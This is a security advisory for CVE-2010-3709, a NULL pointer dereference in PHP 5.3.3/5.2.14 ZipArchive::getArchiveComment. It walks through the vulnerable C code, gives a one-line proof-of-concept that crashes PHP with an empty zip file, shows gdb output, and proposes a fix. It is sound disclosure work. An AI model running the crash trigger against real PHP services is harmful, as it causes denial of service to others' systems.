[ PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment NULL Pointer Deference ]
Author: Maksymilian Arciemowicz
http://cxib.net/
Date:
- Dis.: 14.09.2010
- Pub.: 05.11.2010
CVE: CVE-2010-3709
CWE: CWE-476
Status: Fixed in CVS
Affected Software:
- PHP 5.3.3
- PHP 5.2.14
--- 0.Description ---
ZipArchive enables you to transparently read or write ZIP compressed archives and the files inside them. 
ZipArchive::getArchiveComment — Returns the Zip archive comment
string ZipArchive::getArchiveComment  ( void  )
--- 1. PHP 5.3.3/5.2.14 ZipArchive::getArchiveComment (CWE-476) ---
As we can see in 
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?revision=303622&view=markup
---
1945 	static ZIPARCHIVE_METHOD(getArchiveComment)
1946 	{
1947 	struct zip *intern;
1948 	zval *this = getThis();
1949 	long flags = 0;
1950 	const char * comment;
1951 	int comment_len = 0;
1952 	
1953 	if (!this) {
1954 	RETURN_FALSE;
1955 	}
1956 	
1957 	ZIP_FROM_OBJECT(intern, this);
1958 	
1959 	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|l", &flags) == FAILURE) {
1960 	return;
1961 	}
1962 	
1963 	comment = zip_get_archive_comment(intern, &comment_len, (int)flags); <==== RETURN NULL AND -1
1964 	RETURN_STRINGL((char *)comment, (long)comment_len, 1); <===== NULL POINTER DEFERENCE HERE
1965 	} 
---
this method return string from zip_get_archive_comment() function. Now we need see this function,
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_get_archive_comment.c?revision=284361&view=markup
---
40 	ZIP_EXTERN(const char *)
41 	zip_get_archive_comment(struct zip *za, int *lenp, int flags)
42 	{
43 	if ((flags & ZIP_FL_UNCHANGED)
44 	|| (za->ch_comment_len == -1)) {
45 	if (za->cdir) {
46 	if (lenp != NULL)
47 	*lenp = za->cdir->comment_len;
48 	return za->cdir->comment;
49 	}
50 	else {
51 	if (lenp != NULL)
52 	*lenp = -1; <===================== -1
53 	return NULL; <==================== NULL 
54 	}
55 	}
56 	
57 	if (lenp != NULL)
58 	*lenp = za->ch_comment_len;
59 	return za->ch_comment;
60 	} 
---
line 52 and 53 should return NULL pointer and (int)-1. In result RETURN_STRINGL() will be executed with:
RETURN_STRINGL(NULL, -1, 1);
and crash in memcpy(3).
--- 2. PoC ---
cx@cx64:/www$ touch empty.zip
cx@cx64:/www$ php -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Segmentation fault
Debug:
cx@cx64:/www$ gdb -q php
Reading symbols from /usr/bin/php...(no debugging symbols found)...done.
(gdb) r -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
Starting program: /usr/bin/php -r '$zip= new ZipArchive;$zip->open("./empty.zip");$zip->getArchiveComment();'
[Thread debugging using libthread_db enabled]
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff530edbb in memcpy () from /lib/libc.so.6
(gdb) bt
#0  0x00007ffff530edbb in memcpy () from /lib/libc.so.6
#1  0x0000000000679fa8 in _estrndup ()
#2  0x00000000006371e5 in ?? ()
#3  0x00000000006e793a in ?? ()
#4  0x00000000006bec20 in execute ()
#5  0x000000000068b44a in zend_eval_stringl ()
#6  0x000000000068b5c9 in zend_eval_stringl_ex ()
#7  0x000000000072743e in ?? ()
#8  0x00007ffff52a6c4d in __libc_start_main () from /lib/libc.so.6
#9  0x000000000042c6a9 in _start ()
(gdb) x/i $rip
=> 0x7ffff530edbb <memcpy+347>: rep movsq %ds:(%rsi),%es:(%rdi)
(gdb) x/x $rsi
0x0:    Cannot access memory at address 0x0
(gdb) x/x $rbp
0xffffffff:     Cannot access memory at address 0xffffffff
--- 3. Fix ---
Fix:
Replace
1963 	comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964 	RETURN_STRINGL((char *)comment, (long)comment_len, 1);
to
1963 	comment = zip_get_archive_comment(intern, &comment_len, (int)flags);
1964	if(comment==NULL) RETURN_FALSE;
1965 	RETURN_STRINGL((char *)comment, (long)comment_len, 1);
PHP 5.3:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?view=log
PHP 5.2:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/zip/php_zip.c?view=log
MDVSA-2010:218
--- 4. Greets ---
Special thanks for Pierre Joye
--- 5. Contact ---
Author:  Maksymilian Arciemowicz